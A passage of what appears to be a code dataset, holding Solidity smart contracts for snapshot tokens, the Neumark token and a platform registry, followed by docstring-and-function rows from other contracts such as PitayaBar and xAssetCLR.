bool hasNewSnapshot = values[last].snapshotId < currentSnapshotId;
if (hasNewSnapshot) {
// Do nothing if the value was not modified
bool unmodified = values[last].value == value;
if (unmodified) {
return;
}
// Create new entry
values.push(
Values({
snapshotId: currentSnapshotId,
value: value
})
);
} else {
// We are updating the currentSnapshotId
bool previousUnmodified = last > 0 && values[last - 1].value == value;
if (previousUnmodified) {
// Remove current snapshot if current value was set to previous value
delete values[last];
values.length--;
return;
}
// Overwrite next snapshot entry
values[last].value = value;
}
}
}
/// @title access to snapshots of a token
/// @notice allows to implement complex token holder rights like revenue disbursal or voting
/// @notice snapshots are series of values with assigned ids. ids increase strictly. particular id mechanism is not assumed
contract ITokenSnapshots {
////////////////////////
// Public functions
////////////////////////
/// @notice Total amount of tokens at a specific `snapshotId`.
/// @param snapshotId of snapshot at which totalSupply is queried
/// @return The total amount of tokens at `snapshotId`
/// @dev reverts on snapshotIds greater than currentSnapshotId()
/// @dev returns 0 for snapshotIds less than snapshotId of first value
function totalSupplyAt(uint256 snapshotId)
public
constant
returns(uint256);
/// @dev Queries the balance of `owner` at a specific `snapshotId`
/// @param owner The address from which the balance will be retrieved
/// @param snapshotId of snapshot at which the balance is queried
/// @return The balance at `snapshotId`
function balanceOfAt(address owner, uint256 snapshotId)
public
constant
returns (uint256);
/// @notice upper bound of series of snapshotIds for which there's a value in series
/// @return snapshotId
function currentSnapshotId()
public
constant
returns (uint256);
}
/// @title represents link between cloned and parent token
/// @dev when token is clone from other token, initial balances of the cloned token
/// correspond to balances of parent token at the moment of parent snapshot id specified
/// @notice please note that other tokens beside snapshot token may be cloned
contract IClonedTokenParent is ITokenSnapshots {
////////////////////////
// Public functions
////////////////////////
/// @return address of parent token, address(0) if root
/// @dev parent token does not need to clonable, nor snapshottable, just a normal token
function parentToken()
public
constant
returns(IClonedTokenParent parent);
/// @return snapshot at wchich initial token distribution was taken
function parentSnapshotId()
public
constant
returns(uint256 snapshotId);
}
/// @title token with snapshots and transfer functionality
/// @dev observes MTokenTransferController interface
/// observes ISnapshotToken interface
/// implementes MTokenTransfer interface
contract BasicSnapshotToken is
MTokenTransfer,
MTokenTransferController,
IClonedTokenParent,
IBasicToken,
Snapshot
{
////////////////////////
// Immutable state
////////////////////////
// `PARENT_TOKEN` is the Token address that was cloned to produce this token;
// it will be 0x0 for a token that was not cloned
IClonedTokenParent private PARENT_TOKEN;
// `PARENT_SNAPSHOT_ID` is the snapshot id from the Parent Token that was
// used to determine the initial distribution of the cloned token
uint256 private PARENT_SNAPSHOT_ID;
////////////////////////
// Mutable state
////////////////////////
// `balances` is the map that tracks the balance of each address, in this
// contract when the balance changes the snapshot id that the change
// occurred is also included in the map
mapping (address => Values[]) internal _balances;
// Tracks the history of the `totalSupply` of the token
Values[] internal _totalSupplyValues;
////////////////////////
// Constructor
////////////////////////
/// @notice Constructor to create snapshot token
/// @param parentToken Address of the parent token, set to 0x0 if it is a
/// new token
/// @param parentSnapshotId at which snapshot id clone was created, set to 0 to clone at upper bound
/// @dev please not that as long as cloned token does not overwrite value at current snapshot id, it will refer
/// to parent token at which this snapshot still may change until snapshot id increases. for that time tokens are coupled
/// this is prevented by parentSnapshotId value of parentToken.currentSnapshotId() - 1 being the maxiumum
/// see SnapshotToken.js test to learn consequences coupling has.
constructor(
IClonedTokenParent parentToken,
uint256 parentSnapshotId
)
Snapshot()
internal
{
PARENT_TOKEN = parentToken;
if (parentToken == address(0)) {
require(parentSnapshotId == 0);
} else {
if (parentSnapshotId == 0) {
require(parentToken.currentSnapshotId() > 0);
PARENT_SNAPSHOT_ID = parentToken.currentSnapshotId() - 1;
} else {
PARENT_SNAPSHOT_ID = parentSnapshotId;
}
}
}
////////////////////////
// Public functions
////////////////////////
//
// Implements IBasicToken
//
/// @dev This function makes it easy to get the total number of tokens
/// @return The total number of tokens
function totalSupply()
public
constant
returns (uint256)
{
return totalSupplyAtInternal(mCurrentSnapshotId());
}
/// @param owner The address that's balance is being requested
/// @return The balance of `owner` at the current block
function balanceOf(address owner)
public
constant
returns (uint256 balance)
{
return balanceOfAtInternal(owner, mCurrentSnapshotId());
}
/// @notice Send `amount` tokens to `to` from `msg.sender`
/// @param to The address of the recipient
/// @param amount The amount of tokens to be transferred
/// @return True if the transfer was successful, reverts in any other case
function transfer(address to, uint256 amount)
public
returns (bool success)
{
mTransfer(msg.sender, to, amount);
return true;
}
//
// Implements ITokenSnapshots
//
function totalSupplyAt(uint256 snapshotId)
public
constant
returns(uint256)
{
return totalSupplyAtInternal(snapshotId);
}
function balanceOfAt(address owner, uint256 snapshotId)
public
constant
returns (uint256)
{
return balanceOfAtInternal(owner, snapshotId);
}
function currentSnapshotId()
public
constant
returns (uint256)
{
return mCurrentSnapshotId();
}
//
// Implements IClonedTokenParent
//
function parentToken()
public
constant
returns(IClonedTokenParent parent)
{
return PARENT_TOKEN;
}
/// @return snapshot at wchich initial token distribution was taken
function parentSnapshotId()
public
constant
returns(uint256 snapshotId)
{
return PARENT_SNAPSHOT_ID;
}
//
// Other public functions
//
/// @notice gets all token balances of 'owner'
/// @dev intended to be called via eth_call where gas limit is not an issue
function allBalancesOf(address owner)
external
constant
returns (uint256[2][])
{
/* very nice and working implementation below,
// copy to memory
Values[] memory values = _balances[owner];
do assembly {
// in memory structs have simple layout where every item occupies uint256
balances := values
} while (false);*/
Values[] storage values = _balances[owner];
uint256[2][] memory balances = new uint256[2][](values.length);
for(uint256 ii = 0; ii < values.length; ++ii) {
balances[ii] = [values[ii].snapshotId, values[ii].value];
}
return balances;
}
////////////////////////
// Internal functions
////////////////////////
function totalSupplyAtInternal(uint256 snapshotId)
internal
constant
returns(uint256)
{
Values[] storage values = _totalSupplyValues;
// If there is a value, return it, reverts if value is in the future
if (hasValueAt(values, snapshotId)) {
return getValueAt(values, snapshotId, 0);
}
// Try parent contract at or before the fork
if (address(PARENT_TOKEN) != 0) {
uint256 earlierSnapshotId = PARENT_SNAPSHOT_ID > snapshotId ? snapshotId : PARENT_SNAPSHOT_ID;
return PARENT_TOKEN.totalSupplyAt(earlierSnapshotId);
}
// Default to an empty balance
return 0;
}
// get balance at snapshot if with continuation in parent token
function balanceOfAtInternal(address owner, uint256 snapshotId)
internal
constant
returns (uint256)
{
Values[] storage values = _balances[owner];
// If there is a value, return it, reverts if value is in the future
if (hasValueAt(values, snapshotId)) {
return getValueAt(values, snapshotId, 0);
}
// Try parent contract at or before the fork
if (PARENT_TOKEN != address(0)) {
uint256 earlierSnapshotId = PARENT_SNAPSHOT_ID > snapshotId ? snapshotId : PARENT_SNAPSHOT_ID;
return PARENT_TOKEN.balanceOfAt(owner, earlierSnapshotId);
}
// Default to an empty balance
return 0;
}
//
// Implements MTokenTransfer
//
/// @dev This is the actual transfer function in the token contract, it can
/// only be called by other functions in this contract.
/// @param from The address holding the tokens being transferred
/// @param to The address of the recipient
/// @param amount The amount of tokens to be transferred
/// @return True if the transfer was successful, reverts in any other case
function mTransfer(
address from,
address to,
uint256 amount
)
internal
{
// never send to address 0
require(to != address(0));
// block transfers in clone that points to future/current snapshots of parent token
require(parentToken() == address(0) || parentSnapshotId() < parentToken().currentSnapshotId());
// Alerts the token controller of the transfer
require(mOnTransfer(from, to, amount));
// If the amount being transfered is more than the balance of the
// account the transfer reverts
uint256 previousBalanceFrom = balanceOf(from);
require(previousBalanceFrom >= amount);
// First update the balance array with the new value for the address
// sending the tokens
uint256 newBalanceFrom = previousBalanceFrom - amount;
setValue(_balances[from], newBalanceFrom);
// Then update the balance array with the new value for the address
// receiving the tokens
uint256 previousBalanceTo = balanceOf(to);
uint256 newBalanceTo = previousBalanceTo + amount;
assert(newBalanceTo >= previousBalanceTo); // Check for overflow
setValue(_balances[to], newBalanceTo);
// An event to make the transfer easy to find on the blockchain
emit Transfer(from, to, amount);
}
}
/// @title token generation and destruction
/// @dev internal interface providing token generation and destruction, see MintableSnapshotToken for implementation
contract MTokenMint {
////////////////////////
// Internal functions
////////////////////////
/// @notice Generates `amount` tokens that are assigned to `owner`
/// @param owner The address that will be assigned the new tokens
/// @param amount The quantity of tokens generated
/// @dev reverts if tokens could not be generated
function mGenerateTokens(address owner, uint256 amount)
internal;
/// @notice Burns `amount` tokens from `owner`
/// @param owner The address that will lose the tokens
/// @param amount The quantity of tokens to burn
/// @dev reverts if tokens could not be destroyed
function mDestroyTokens(address owner, uint256 amount)
internal;
}
/// @title basic snapshot token with facitilites to generate and destroy tokens
/// @dev implementes MTokenMint, does not expose any public functions that create/destroy tokens
contract MintableSnapshotToken is
BasicSnapshotToken,
MTokenMint
{
////////////////////////
// Constructor
////////////////////////
/// @notice Constructor to create a MintableSnapshotToken
/// @param parentToken Address of the parent token, set to 0x0 if it is a
/// new token
constructor(
IClonedTokenParent parentToken,
uint256 parentSnapshotId
)
BasicSnapshotToken(parentToken, parentSnapshotId)
internal
{}
/// @notice Generates `amount` tokens that are assigned to `owner`
/// @param owner The address that will be assigned the new tokens
/// @param amount The quantity of tokens generated
function mGenerateTokens(address owner, uint256 amount)
internal
{
// never create for address 0
require(owner != address(0));
// block changes in clone that points to future/current snapshots of patent token
require(parentToken() == address(0) || parentSnapshotId() < parentToken().currentSnapshotId());
uint256 curTotalSupply = totalSupply();
uint256 newTotalSupply = curTotalSupply + amount;
require(newTotalSupply >= curTotalSupply); // Check for overflow
uint256 previousBalanceTo = balanceOf(owner);
uint256 newBalanceTo = previousBalanceTo + amount;
assert(newBalanceTo >= previousBalanceTo); // Check for overflow
setValue(_totalSupplyValues, newTotalSupply);
setValue(_balances[owner], newBalanceTo);
emit Transfer(0, owner, amount);
}
/// @notice Burns `amount` tokens from `owner`
/// @param owner The address that will lose the tokens
/// @param amount The quantity of tokens to burn
function mDestroyTokens(address owner, uint256 amount)
internal
{
// block changes in clone that points to future/current snapshots of patent token
require(parentToken() == address(0) || parentSnapshotId() < parentToken().currentSnapshotId());
uint256 curTotalSupply = totalSupply();
require(curTotalSupply >= amount);
uint256 previousBalanceFrom = balanceOf(owner);
require(previousBalanceFrom >= amount);
uint256 newTotalSupply = curTotalSupply - amount;
uint256 newBalanceFrom = previousBalanceFrom - amount;
setValue(_totalSupplyValues, newTotalSupply);
setValue(_balances[owner], newBalanceFrom);
emit Transfer(owner, 0, amount);
}
}
/*
Copyright 2016, Jordi Baylina
Copyright 2017, Remco Bloemen, Marcin Rudolf
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
/// @title StandardSnapshotToken Contract
/// @author Jordi Baylina, Remco Bloemen, Marcin Rudolf
/// @dev This token contract's goal is to make it easy for anyone to clone this
/// token using the token distribution at a given block, this will allow DAO's
/// and DApps to upgrade their features in a decentralized manner without
/// affecting the original token
/// @dev It is ERC20 compliant, but still needs to under go further testing.
/// @dev Various contracts are composed to provide required functionality of this token, different compositions are possible
/// MintableSnapshotToken provides transfer, miniting and snapshotting functions
/// TokenAllowance provides approve/transferFrom functions
/// TokenMetadata adds name, symbol and other token metadata
/// @dev This token is still abstract, Snapshot, BasicSnapshotToken and TokenAllowance observe interfaces that must be implemented
/// MSnapshotPolicy - particular snapshot id creation mechanism
/// MTokenController - controlls approvals and transfers
/// see Neumark as an example
/// @dev implements ERC223 token transfer
contract StandardSnapshotToken is
MintableSnapshotToken,
TokenAllowance
{
////////////////////////
// Constructor
////////////////////////
/// @notice Constructor to create a MiniMeToken
/// is a new token
/// param tokenName Name of the new token
/// param decimalUnits Number of decimals of the new token
/// param tokenSymbol Token Symbol for the new token
constructor(
IClonedTokenParent parentToken,
uint256 parentSnapshotId
)
MintableSnapshotToken(parentToken, parentSnapshotId)
TokenAllowance()
internal
{}
}
/// @title old ERC223 callback function
/// @dev as used in Neumark and ICBMEtherToken
contract IERC223LegacyCallback {
////////////////////////
// Public functions
////////////////////////
function onTokenTransfer(address from, uint256 amount, bytes data)
public;
}
contract IERC223Token is IERC20Token, ITokenMetadata {
/// @dev Departure: We do not log data, it has no advantage over a standard
/// log event. By sticking to the standard log event we
/// stay compatible with constracts that expect and ERC20 token.
// event Transfer(
// address indexed from,
// address indexed to,
// uint256 amount,
// bytes data);
/// @dev Departure: We do not use the callback on regular transfer calls to
/// stay compatible with constracts that expect and ERC20 token.
// function transfer(address to, uint256 amount)
// public
// returns (bool);
////////////////////////
// Public functions
////////////////////////
function transfer(address to, uint256 amount, bytes data)
public
returns (bool);
}
contract Neumark is
AccessControlled,
AccessRoles,
Agreement,
DailyAndSnapshotable,
StandardSnapshotToken,
TokenMetadata,
IERC223Token,
NeumarkIssuanceCurve,
Reclaimable,
IsContract
{
////////////////////////
// Constants
////////////////////////
string private constant TOKEN_NAME = "Neumark";
uint8 private constant TOKEN_DECIMALS = 18;
string private constant TOKEN_SYMBOL = "NEU";
string private constant VERSION = "NMK_1.0";
////////////////////////
// Mutable state
////////////////////////
// disable transfers when Neumark is created
bool private _transferEnabled = false;
// at which point on curve new Neumarks will be created, see NeumarkIssuanceCurve contract
// do not use to get total invested funds. see burn(). this is just a cache for expensive inverse function
uint256 private _totalEurUlps;
////////////////////////
// Events
////////////////////////
event LogNeumarksIssued(
address indexed owner,
uint256 euroUlps,
uint256 neumarkUlps
);
event LogNeumarksBurned(
address indexed owner,
uint256 euroUlps,
uint256 neumarkUlps
);
////////////////////////
// Constructor
////////////////////////
constructor(
IAccessPolicy accessPolicy,
IEthereumForkArbiter forkArbiter
)
AccessRoles()
Agreement(accessPolicy, forkArbiter)
StandardSnapshotToken(
IClonedTokenParent(0x0),
0
)
TokenMetadata(
TOKEN_NAME,
TOKEN_DECIMALS,
TOKEN_SYMBOL,
VERSION
)
DailyAndSnapshotable(0)
NeumarkIssuanceCurve()
Reclaimable()
public
{}
////////////////////////
// Public functions
////////////////////////
/// @notice issues new Neumarks to msg.sender with reward at current curve position
/// moves curve position by euroUlps
/// callable only by ROLE_NEUMARK_ISSUER
function issueForEuro(uint256 euroUlps)
public
only(ROLE_NEUMARK_ISSUER)
acceptAgreement(msg.sender)
returns (uint256)
{
require(_totalEurUlps + euroUlps >= _totalEurUlps);
uint256 neumarkUlps = incremental(_totalEurUlps, euroUlps);
_totalEurUlps += euroUlps;
mGenerateTokens(msg.sender, neumarkUlps);
emit LogNeumarksIssued(msg.sender, euroUlps, neumarkUlps);
return neumarkUlps;
}
/// @notice used by ROLE_NEUMARK_ISSUER to transer newly issued neumarks
/// typically to the investor and platform operator
function distribute(address to, uint256 neumarkUlps)
public
only(ROLE_NEUMARK_ISSUER)
acceptAgreement(to)
{
mTransfer(msg.sender, to, neumarkUlps);
}
/// @notice msg.sender can burn their Neumarks, curve is rolled back using inverse
/// curve. as a result cost of Neumark gets lower (reward is higher)
function burn(uint256 neumarkUlps)
public
only(ROLE_NEUMARK_BURNER)
{
burnPrivate(neumarkUlps, 0, _totalEurUlps);
}
/// @notice executes as function above but allows to provide search range for low gas burning
function burn(uint256 neumarkUlps, uint256 minEurUlps, uint256 maxEurUlps)
public
only(ROLE_NEUMARK_BURNER)
{
burnPrivate(neumarkUlps, minEurUlps, maxEurUlps);
}
function enableTransfer(bool enabled)
public
only(ROLE_TRANSFER_ADMIN)
{
_transferEnabled = enabled;
}
function createSnapshot()
public
only(ROLE_SNAPSHOT_CREATOR)
returns (uint256)
{
return DailyAndSnapshotable.createSnapshot();
}
function transferEnabled()
public
constant
returns (bool)
{
return _transferEnabled;
}
function totalEuroUlps()
public
constant
returns (uint256)
{
return _totalEurUlps;
}
function incremental(uint256 euroUlps)
public
constant
returns (uint256 neumarkUlps)
{
return incremental(_totalEurUlps, euroUlps);
}
//
// Implements IERC223Token with IERC223Callback (onTokenTransfer) callback
//
// old implementation of ERC223 that was actual when ICBM was deployed
// as Neumark is already deployed this function keeps old behavior for testing
function transfer(address to, uint256 amount, bytes data)
public
returns (bool)
{
// it is necessary to point out implementation to be called
BasicSnapshotToken.mTransfer(msg.sender, to, amount);
// Notify the receiving contract.
if (isContract(to)) {
IERC223LegacyCallback(to).onTokenTransfer(msg.sender, amount, data);
}
return true;
}
////////////////////////
// Internal functions
////////////////////////
//
// Implements MTokenController
//
function mOnTransfer(
address from,
address, // to
uint256 // amount
)
internal
acceptAgreement(from)
returns (bool allow)
{
// must have transfer enabled or msg.sender is Neumark issuer
return _transferEnabled || accessPolicy().allowed(msg.sender, ROLE_NEUMARK_ISSUER, this, msg.sig);
}
function mOnApprove(
address owner,
address, // spender,
uint256 // amount
)
internal
acceptAgreement(owner)
returns (bool allow)
{
return true;
}
////////////////////////
// Private functions
////////////////////////
function burnPrivate(uint256 burnNeumarkUlps, uint256 minEurUlps, uint256 maxEurUlps)
private
{
uint256 prevEuroUlps = _totalEurUlps;
// burn first in the token to make sure balance/totalSupply is not crossed
mDestroyTokens(msg.sender, burnNeumarkUlps);
_totalEurUlps = cumulativeInverse(totalSupply(), minEurUlps, maxEurUlps);
// actually may overflow on non-monotonic inverse
assert(prevEuroUlps >= _totalEurUlps);
uint256 euroUlps = prevEuroUlps - _totalEurUlps;
emit LogNeumarksBurned(msg.sender, euroUlps, burnNeumarkUlps);
}
}
/// @title uniquely identifies deployable (non-abstract) platform contract
/// @notice cheap way of assigning implementations to knownInterfaces which represent system services
/// unfortunatelly ERC165 does not include full public interface (ABI) and does not provide way to list implemented interfaces
/// EIP820 still in the making
/// @dev ids are generated as follows keccak256("neufund-platform:<contract name>")
/// ids roughly correspond to ABIs
contract IContractId {
/// @param id defined as above
/// @param version implementation version
function contractId() public pure returns (bytes32 id, uint256 version);
}
/// @title current ERC223 fallback function
/// @dev to be used in all future token contract
/// @dev NEU and ICBMEtherToken (obsolete) are the only contracts that still uses IERC223LegacyCallback
contract IERC223Callback {
////////////////////////
// Public functions
////////////////////////
function tokenFallback(address from, uint256 amount, bytes data)
public;
}
/// @title disburse payment token amount to snapshot token holders
/// @dev payment token received via ERC223 Transfer
contract IFeeDisbursal is IERC223Callback {
// TODO: declare interface
}
/// @title disburse payment token amount to snapshot token holders
/// @dev payment token received via ERC223 Transfer
contract IPlatformPortfolio is IERC223Callback {
// TODO: declare interface
}
contract ITokenExchangeRateOracle {
/// @notice provides actual price of 'numeratorToken' in 'denominatorToken'
/// returns timestamp at which price was obtained in oracle
function getExchangeRate(address numeratorToken, address denominatorToken)
public
constant
returns (uint256 rateFraction, uint256 timestamp);
/// @notice allows to retreive multiple exchange rates in once call
function getExchangeRates(address[] numeratorTokens, address[] denominatorTokens)
public
constant
returns (uint256[] rateFractions, uint256[] timestamps);
}
/// @title root of trust and singletons + known interface registry
/// provides a root which holds all interfaces platform trust, this includes
/// singletons - for which accessors are provided
/// collections of known instances of interfaces
/// @dev interfaces are identified by bytes4, see KnownInterfaces.sol
contract Universe is
Agreement,
IContractId,
KnownInterfaces
{
////////////////////////
// Events
////////////////////////
/// raised on any change of singleton instance
/// @dev for convenience we provide previous instance of singleton in replacedInstance
event LogSetSingleton(
bytes4 interfaceId,
address instance,
address replacedInstance
);
/// raised on add/remove interface instance in collection
event LogSetCollectionInterface(
bytes4 interfaceId,
address instance,
bool isSet
);
////////////////////////
// Mutable state
////////////////////////
// mapping of known contracts to addresses of singletons
mapping(bytes4 => address) private _singletons;
// mapping of known interfaces to collections of contracts
mapping(bytes4 =>
mapping(address => bool)) private _collections; // solium-disable-line indentation
// known instances
mapping(address => bytes4[]) private _instances;
////////////////////////
// Constructor
////////////////////////
constructor(
IAccessPolicy accessPolicy,
IEthereumForkArbiter forkArbiter
)
Agreement(accessPolicy, forkArbiter)
public
{
setSingletonPrivate(KNOWN_INTERFACE_ACCESS_POLICY, accessPolicy);
setSingletonPrivate(KNOWN_INTERFACE_FORK_ARBITER, forkArbiter);
}
////////////////////////
// Public methods
////////////////////////
/// get singleton instance for 'interfaceId'
function getSingleton(bytes4 interfaceId)
public
constant
returns (address)
{
return _singletons[interfaceId];
}
function getManySingletons(bytes4[] interfaceIds)
public
constant
returns (address[])
{
address[] memory addresses = new address[](interfaceIds.length);
uint256 idx;
while(idx < interfaceIds.length) {
addresses[idx] = _singletons[interfaceIds[idx]];
idx += 1;
}
return addresses;
}
/// checks of 'instance' is instance of interface 'interfaceId'
function isSingleton(bytes4 interfaceId, address instance)
public
constant
returns (bool)
{
return _singletons[interfaceId] == instance;
}
/// checks if 'instance' is one of instances of 'interfaceId'
function isInterfaceCollectionInstance(bytes4 interfaceId, address instance)
public
constant
returns (bool)
{
return _collections[interfaceId][instance];
}
function isAnyOfInterfaceCollectionInstance(bytes4[] interfaceIds, address instance)
public
constant
returns (bool)
{
uint256 idx;
while(idx < interfaceIds.length) {
if (_collections[interfaceIds[idx]][instance]) {
return true;
}
idx += 1;
}
return false;
}
/// gets all interfaces of given instance
function getInterfacesOfInstance(address instance)
public
constant
returns (bytes4[] interfaces)
{
return _instances[instance];
}
/// sets 'instance' of singleton with interface 'interfaceId'
function setSingleton(bytes4 interfaceId, address instance)
public
only(ROLE_UNIVERSE_MANAGER)
{
setSingletonPrivate(interfaceId, instance);
}
/// convenience method for setting many singleton instances
function setManySingletons(bytes4[] interfaceIds, address[] instances)
public
only(ROLE_UNIVERSE_MANAGER)
{
require(interfaceIds.length == instances.length);
uint256 idx;
while(idx < interfaceIds.length) {
setSingletonPrivate(interfaceIds[idx], instances[idx]);
idx += 1;
}
}
/// set or unset 'instance' with 'interfaceId' in collection of instances
function setCollectionInterface(bytes4 interfaceId, address instance, bool set)
public
only(ROLE_UNIVERSE_MANAGER)
{
setCollectionPrivate(interfaceId, instance, set);
}
/// set or unset 'instance' in many collections of instances
function setInterfaceInManyCollections(bytes4[] interfaceIds, address instance, bool set)
public
only(ROLE_UNIVERSE_MANAGER)
{
uint256 idx;
while(idx < interfaceIds.length) {
setCollectionPrivate(interfaceIds[idx], instance, set);
idx += 1;
}
}
/// set or unset array of collection
function setCollectionsInterfaces(bytes4[] interfaceIds, address[] instances, bool[] set_flags)
public
only(ROLE_UNIVERSE_MANAGER)
{
require(interfaceIds.length == instances.length);
require(interfaceIds.length == set_flags.length);
uint256 idx;
while(idx < interfaceIds.length) {
setCollectionPrivate(interfaceIds[idx], instances[idx], set_flags[idx]);
idx += 1;
}
}
//
// Implements IContractId
//
function contractId() public pure returns (bytes32 id, uint256 version) {
return (0x8b57bfe21a3ef4854e19d702063b6cea03fa514162f8ff43fde551f06372fefd, 0);
}
////////////////////////
// Getters
////////////////////////
function accessPolicy() public constant returns (IAccessPolicy) {
return IAccessPolicy(_singletons[KNOWN_INTERFACE_ACCESS_POLICY]);
}
function forkArbiter() public constant returns (IEthereumForkArbiter) {
return IEthereumForkArbiter(_singletons[KNOWN_INTERFACE_FORK_ARBITER]);
}
function neumark() public constant returns (Neumark) {
return Neumark(_singletons[KNOWN_INTERFACE_NEUMARK]);
}
function etherToken() public constant returns (IERC223Token) {
return IERC223Token(_singletons[KNOWN_INTERFACE_ETHER_TOKEN]);
}
function euroToken() public constant returns (IERC223Token) {
return IERC223Token(_singletons[KNOWN_INTERFACE_EURO_TOKEN]);
}
function etherLock() public constant returns (address) {
return _singletons[KNOWN_INTERFACE_ETHER_LOCK];
}
function euroLock() public constant returns (address) {
return _singletons[KNOWN_INTERFACE_EURO_LOCK];
}
function icbmEtherLock() public constant returns (address) {
return _singletons[KNOWN_INTERFACE_ICBM_ETHER_LOCK];
}
function icbmEuroLock() public constant returns (address) {
return _singletons[KNOWN_INTERFACE_ICBM_EURO_LOCK];
}
function identityRegistry() public constant returns (address) {
return IIdentityRegistry(_singletons[KNOWN_INTERFACE_IDENTITY_REGISTRY]);
}
function tokenExchangeRateOracle() public constant returns (address) {
return ITokenExchangeRateOracle(_singletons[KNOWN_INTERFACE_TOKEN_EXCHANGE_RATE_ORACLE]);
}
function feeDisbursal() public constant returns (address) {
return IFeeDisbursal(_singletons[KNOWN_INTERFACE_FEE_DISBURSAL]);
}
function platformPortfolio() public constant returns (address) {
return IPlatformPortfolio(_singletons[KNOWN_INTERFACE_PLATFORM_PORTFOLIO]);
}
function tokenExchange() public constant returns (address) {
return _singletons[KNOWN_INTERFACE_TOKEN_EXCHANGE];
}
function gasExchange() public constant returns (address) {
return _singletons[KNOWN_INTERFACE_GAS_EXCHANGE];
}
function platformTerms() public constant returns (address) {
return _singletons[KNOWN_INTERFACE_PLATFORM_TERMS];
}
////////////////////////
// Private methods
////////////////////////
function setSingletonPrivate(bytes4 interfaceId, address instance)
private
{
require(interfaceId != KNOWN_INTERFACE_UNIVERSE, "NF_UNI_NO_UNIVERSE_SINGLETON");
address replacedInstance = _singletons[interfaceId];
// do nothing if not changing
if (replacedInstance != instance) {
dropInstance(replacedInstance, interfaceId);
addInstance(instance, interfaceId);
_singletons[interfaceId] = instance;
}
emit LogSetSingleton(interfaceId, instance, replacedInstance);
}
function setCollectionPrivate(bytes4 interfaceId, address instance, bool set)
private
{
// do nothing if not changing
if (_collections[interfaceId][instance] == set) {
return;
}
_collections[interfaceId][instance] = set;
if (set) {
addInstance(instance, interfaceId);
} else {
dropInstance(instance, interfaceId);
}
emit LogSetCollectionInterface(interfaceId, instance, set);
}
function addInstance(address instance, bytes4 interfaceId)
private
{
if (instance == address(0)) {
// do not add null instance
return;
}
bytes4[] storage current = _instances[instance];
uint256 idx;
while(idx < current.length) {
// instancy has this interface already, do nothing
if (current[idx] == interfaceId)
return;
idx += 1;
}
// new interface
current.push(interfaceId);
}
function dropInstance(address instance, bytes4 interfaceId)
private
{
if (instance == address(0)) {
// do not drop null instance
return;
}
bytes4[] storage current = _instances[instance];
uint256 idx;
uint256 last = current.length - 1;
while(idx <= last) {
if (current[idx] == interfaceId) {
// delete element
if (idx < last) {
// if not last element move last element to idx being deleted
current[idx] = current[last];
}
// delete last element
current.length -= 1;
return;
}
idx += 1;
}
}
}
|
used by ROLE_NEUMARK_ISSUER to transer newly issued neumarks typically to the investor and platform operator
|
function distribute(address to, uint256 neumarkUlps)
public
only(ROLE_NEUMARK_ISSUER)
acceptAgreement(to)
{
mTransfer(msg.sender, to, neumarkUlps);
}
| 1,800,970
|
./partial_match/4/0x0930739d6B2e54bdf01bAc1E08F9fc6cD59f897E/sources/PitayaBar.sol
|
Enter the bar. Pay some PTYs. Earn some shares. Locks Pitaya and mints xPitaya
|
function enterWithPermit(uint256 _amount, bool approveMax, uint256 deadline, uint8 v, bytes32 r, bytes32 s) public {
pitaya.permit(
msg.sender,
address(this),
approveMax ? uint256(-1) : _amount,
deadline,
v,
r,
s
);
enter(_amount);
}
| 8,640,278
|
// SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.7.6;
pragma abicoder v2;
import "@openzeppelin/contracts-upgradeable/proxy/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/PausableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "./libraries/UniswapLibrary.sol";
import "./BlockLock.sol";
import "./interfaces/IxTokenManager.sol";
import "./interfaces/IxAsset.sol";
contract xAssetCLR is
Initializable,
ERC20Upgradeable,
OwnableUpgradeable,
PausableUpgradeable,
BlockLock
{
using SafeMath for uint256;
using SafeERC20 for IERC20;
uint256 private constant SWAP_SLIPPAGE = 50; // 2%
uint256 private constant MINT_BURN_SLIPPAGE = 100; // 1%
// Used to give an identical token representation
uint8 private constant TOKEN_DECIMAL_REPRESENTATION = 18;
int24 tickLower;
int24 tickUpper;
// Prices calculated using above ticks from TickMath.getSqrtRatioAtTick()
uint160 priceLower;
uint160 priceUpper;
int128 lastTwap; // Last stored oracle twap
// Max current twap vs last twap deviation percentage divisor (100 = 1%)
uint256 maxTwapDeviationDivisor;
IERC20 token0;
IERC20 token1;
uint256 public tokenId; // token id representing this uniswap position
uint256 public token0DecimalMultiplier; // 10 ** (18 - token0 decimals)
uint256 public token1DecimalMultiplier; // 10 ** (18 - token1 decimals)
uint256 public tokenDiffDecimalMultiplier; // 10 ** (token0 decimals - token1 decimals)
uint24 public poolFee;
uint8 public token0Decimals;
uint8 public token1Decimals;
UniswapContracts public uniContracts;
IxTokenManager xTokenManager; // xToken manager contract
uint32 twapPeriod;
struct UniswapContracts {
address pool;
address router;
address quoter;
address positionManager;
}
event Rebalance();
event FeeCollected(uint256 token0Fee, uint256 token1Fee);
function initialize(
string memory _symbol,
int24 _tickLower,
int24 _tickUpper,
IERC20 _token0,
IERC20 _token1,
UniswapContracts memory contracts,
address _xTokenManagerAddress,
uint256 _maxTwapDeviationDivisor,
uint8 _token0Decimals,
uint8 _token1Decimals
) external initializer {
__Context_init_unchained();
__Ownable_init_unchained();
__Pausable_init_unchained();
__ERC20_init_unchained("xAssetCLR", _symbol);
tickLower = _tickLower;
tickUpper = _tickUpper;
priceLower = UniswapLibrary.getSqrtRatio(_tickLower);
priceUpper = UniswapLibrary.getSqrtRatio(_tickUpper);
token0 = _token0;
token1 = _token1;
token0Decimals = _token0Decimals;
token1Decimals = _token1Decimals;
token0DecimalMultiplier =
10**(TOKEN_DECIMAL_REPRESENTATION - token0Decimals);
token1DecimalMultiplier =
10**(TOKEN_DECIMAL_REPRESENTATION - token1Decimals);
tokenDiffDecimalMultiplier =
10**((UniswapLibrary.subAbs(token0Decimals, token1Decimals)));
maxTwapDeviationDivisor = _maxTwapDeviationDivisor;
